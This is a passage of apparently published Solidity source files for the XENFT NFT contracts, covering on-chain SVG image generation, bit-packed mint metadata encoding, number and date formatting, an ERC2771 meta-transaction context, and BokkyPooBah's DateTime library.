tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp 